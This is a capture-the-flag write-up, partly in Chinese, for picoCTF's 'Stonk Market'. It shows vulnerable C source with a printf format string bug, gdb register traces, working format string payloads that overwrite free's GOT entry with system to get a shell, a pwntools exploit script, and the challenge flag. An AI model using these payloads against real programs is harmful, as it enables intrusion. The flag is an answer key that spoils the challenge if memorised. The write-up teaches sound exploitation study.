# PicoCTF - Stonk Market ## Background FMT ## Source code :::spoiler ```cpp= #include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #define FLAG_BUFFER 128 #define MAX_SYM_LEN 4 typedef struct Stonks { int shares; char symbol[MAX_SYM_LEN + 1]; struct Stonks *next; } Stonk; typedef struct Portfolios { int money; Stonk *head; } Portfolio; int view_portfolio(Portfolio *p) { if (!p) { return 1; } printf("\nPortfolio as of "); fflush(stdout); system("date"); // TODO: implement this in C fflush(stdout); printf("\n\n"); Stonk *head = p->head; if (!head) { printf("You don't own any stonks!\n"); } while (head) { printf("%d shares of %s\n", head->shares, head->symbol); head = head->next; } return 0; } Stonk *pick_symbol_with_AI(int shares) { if (shares < 1) { return NULL; } Stonk *stonk = malloc(sizeof(Stonk)); stonk->shares = shares; int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1; for (int i = 0; i <= MAX_SYM_LEN; i++) { if (i < AI_symbol_len) { stonk->symbol[i] = 'A' + (rand() % 26); } else { stonk->symbol[i] = '\0'; } } stonk->next = NULL; return stonk; } int buy_stonks(Portfolio *p) { if (!p) { return 1; } /* char api_buf[FLAG_BUFFER]; FILE *f = fopen("api","r"); if (!f) { printf("Flag file not found\n"); exit(1); } fgets(api_buf, FLAG_BUFFER, f); */ int money = p->money; int shares = 0; Stonk *temp = NULL; printf("Using patented AI algorithms to buy stonks\n"); while (money > 0) { shares = (rand() % money) + 1; temp = pick_symbol_with_AI(shares); temp->next = p->head; p->head = temp; money -= shares; } printf("Stonks chosen\n"); char *user_buf = malloc(300 + 1); printf("What is your API token?\n"); scanf("%300s", user_buf); printf("Buying stonks with token:\n"); printf(user_buf); // TODO: Actually use key to interact with API view_portfolio(p); return 0; } Portfolio *initialize_portfolio() { Portfolio *p = malloc(sizeof(Portfolio)); p->money = (rand() % 2018) + 1; p->head = NULL; return p; } void free_portfolio(Portfolio *p) { Stonk *current = p->head; Stonk *next = NULL; while (current) { next = current->next; free(current); current = next; } free(p); } int main(int argc, char *argv[]) { setbuf(stdout, NULL); srand(time(NULL)); Portfolio *p = initialize_portfolio(); if (!p) { printf("Memory failure\n"); exit(1); } int resp = 0; printf("Welcome back to the trading app!\n\n"); printf("What would you like to do?\n"); printf("1) Buy some stonks!\n"); printf("2) View my portfolio\n"); scanf("%d", &resp); if (resp == 1) { buy_stonks(p); } else if (resp == 2) { view_portfolio(p); } free_portfolio(p); printf("Goodbye!\n"); exit(0); } ``` ::: ## Recon 這一題是參考了[^pico_pwn_stonk_market_wp],可以看到source code中的buy_stonks function出現format string bug,我一開始看了很久,以為這一題是和heap有關的問題 [^pico_pwn_stonk_market_wp]的做法是: 先把free的got address(0x602018)利用fmt寫到某一個位置,然後再改變got指向的位置(0x4006c6),變成指向system的位置(0x4006f0),再把`sh\x00`的string寫到某一個chunk中,之後當call到free並且要free掉我們指定的那個chunk時,他就會執行`system(sh\x00)`,成功執行shell ## Analysis 當程式執行到`<printf_positional+7716> mov BYTE PTR [rax], bl`(如下)時,可以看一下rax數值在register中應對不同payload時的變化,我把完整的trace stack放在這一段的最下面,有興趣trace的人可以參考一下 ``` 0x7ffff7e40bb4 <printf_positional+7700> test r12d, r12d 0x7ffff7e40bb7 <printf_positional+7703> je 0x7ffff7e40f1e <printf_positional+8574> 0x7ffff7e40bbd <printf_positional+7709> movzx ebx, BYTE PTR [rbp-0x8a4] → 0x7ffff7e40bc4 <printf_positional+7716> mov BYTE PTR [rax], bl 0x7ffff7e40bc6 <printf_positional+7718> jmp 0x7ffff7e3fa29 <printf_positional+3209> 0x7ffff7e40bcb <printf_positional+7723> mov r10d, DWORD PTR [rbx+rax*1] 0x7ffff7e40bcf <printf_positional+7727> test r12d, r12d 0x7ffff7e40bd2 <printf_positional+7730> je 0x7ffff7e40f34 <printf_positional+8596> 0x7ffff7e40bd8 <printf_positional+7736> movsx r10, r10b ``` - ==Incorrect Payload:== `%6299672c%12$n%216c%20$hhn%10504067c%10$n`遇到的問題 :::spoiler Register ``` $rdi : 0x0 $rax : 0x0 $r8 : 0xffffffff $rbx : 0xf0 $rcx : 0x00007ffff7f78f40 → 0x0000000000000000 $r13 : 0x0 $r10 : 0x00007fffffffa580 → 0x00000000f7fb8723 $r12 : 0x1 $r14 : 0x00007fffffffa248 → 0x00000000ffffffff $r9 : 0x0 $rbp : 0x00007fffffffa9d0 → 0x00007fffffffaf90 → 0x00007fffffffd670 $rip : 0x00007ffff7e40bc4 → <printf_positional+7716> mov BYTE PTR [rax], bl $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $rdx : 0x00007ffff7e3f42a → <printf_positional+1674> endbr64 $r15 : 0x00007fffffffafc0 → 0x00000000fbad8004 $rsi : 0x00007fffffffa580 → 0x00000000f7fb8723 $r11 : 0x6e $rsp : 0x00007fffffffa060 → 0x0000000000000000 $gs: 0x00 $fs: 0x00 $es: 0x00 $cs: 0x33 $ss: 0x2b $ds: 0x00 ``` ::: * ==Correct Payload:== `%c%c%c%c%c%c%c%c%c%c%6299662c%n%216c%20$hhn%10504067c%10$n` :::spoiler Register ``` $rdi : 0x0 $rax : 0x0000000000602018 → 0x00000000004006c6 → 0xffe0e90000000068 ("h"?) $r8 : 0xffffffff $rbx : 0xf0 $rcx : 0x00007ffff7f78f40 → 0x0000000000000000 $r13 : 0x0 $r10 : 0x00007fffffffa580 → 0x00000000f7fb8723 $r12 : 0x1 $r14 : 0x0000000000603cf8 → 0x00000000ffffffff $r9 : 0x0 $rbp : 0x00007fffffffa9d0 → 0x00007fffffffaf90 → 0x00007fffffffd670 $rip : 0x00007ffff7e40bc4 → <printf_positional+7716> mov BYTE PTR [rax], bl $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $rdx : 0x00007ffff7e3f42a → <printf_positional+1674> endbr64 $r15 : 0x00007fffffffafc0 → 0x00000000fbad8004 $rsi : 0x00007fffffffa580 → 0x00000000f7fb8723 $r11 : 0x6e $rsp : 0x00007fffffffa060 → 0x0000000000000000 $gs: 0x00 $fs: 0x00 $es: 0x00 $cs: 0x33 $ss: 0x2b $ds: 0x00 ``` ::: 可以看到`0x7ffff7e40bc4 mov BYTE PTR [rax], bl`準備把0xf0的值放到rax指向的位置,但是如果是第一種payload,rax的value是0,而第二種payload所存放的value才是0x602018,所以這應該就是@ccccctw所提到的問題,一開始把`0x602018`寫入`0x00007fffffffd7d0`之前都還是零,所以第二種payload因為某種關係,他可以先把`0x602018`寫入`0x00007fffffffd7d0`,==再==把`0x602018`指向的`0x4006c6`最後一個byte改掉,而不是像第一種payload一樣,是同時執行所有的動作,導致系統還沒有把`0x602018`寫入`0x00007fffffffd7d0`,想當然`0x00007fffffffd7d0`的value也是零 ``` ... 0x00007fffffffd790│+0x0030: 0x00007fffffffd7d0 → 0x0000000000000000 ← $rbp ... 0x00007fffffffd7d0│+0x0070: 0x0000000000000000 ``` --- :::spoiler 完整的trace stack ``` gef➤ bt 10 #0 0x00007ffff7e40bc4 in printf_positional (s=s@entry=0x7fffffffafc0, format=format@entry=0x603730 "%6299672c%12$n%216c%20$hhn%10504067c%10$n", readonly_format=readonly_format@entry=0x0, ap=ap@entry=0x7fffffffd680, ap_savep=ap_savep@entry=0x7fffffffab48, done=<optimized out>, nspecs_done=<optimized out>, lead_str_end=<optimized out>, work_buffer=<optimized out>, save_errno=<optimized out>, grouping=<optimized out>, thousands_sep=<optimized out>, mode_flags=<optimized out>) at vfprintf-internal.c:2072 #1 0x00007ffff7e41dcd in __vfprintf_internal (s=s@entry=0x7fffffffafc0, format=0x603730 "%6299672c%12$n%216c%20$hhn%10504067c%10$n", ap=0x7fffffffd680, mode_flags=<optimized out>) at vfprintf-internal.c:1733 #2 0x00007ffff7e44ea2 in buffered_vfprintf (s=s@entry=0x7ffff7fb86a0 <_IO_2_1_stdout_>, format=format@entry=0x603730 "%6299672c%12$n%216c%20$hhn%10504067c%10$n", args=args@entry=0x7fffffffd680, mode_flags=mode_flags@entry=0x0) at vfprintf-internal.c:2377 #3 0x00007ffff7e41d24 in __vfprintf_internal (s=0x7ffff7fb86a0 <_IO_2_1_stdout_>, format=0x603730 "%6299672c%12$n%216c%20$hhn%10504067c%10$n", ap=ap@entry=0x7fffffffd680, mode_flags=mode_flags@entry=0x0) at vfprintf-internal.c:1346 #4 0x00007ffff7e2cd3f in __printf (format=<optimized out>) at printf.c:33 #5 0x0000000000400ace in buy_stonks () #6 0x0000000000400c66 in main () ``` ::: ## Exploit - FMT ```python= from pwn import * if args.LOCAL: r = process('./vuln') else: r = remote('mercury.picoctf.net', 5654) payload = '%c'*10 + '%6299662c' + '%n' + '%216c' + '%20$hhn' + '%10504067c' + '%10$n' r.sendline(b'1') raw_input() r.sendlineafter(b"token?", payload.encode()) r.interactive() ``` Flag: `picoCTF{explo1t_m1t1gashuns_641dcdf1}` ## Reference [^pico_pwn_stonk_market_wp]:[ picoCTF 2021 Stonk Market ](https://youtu.be/gLFJFXpY44w)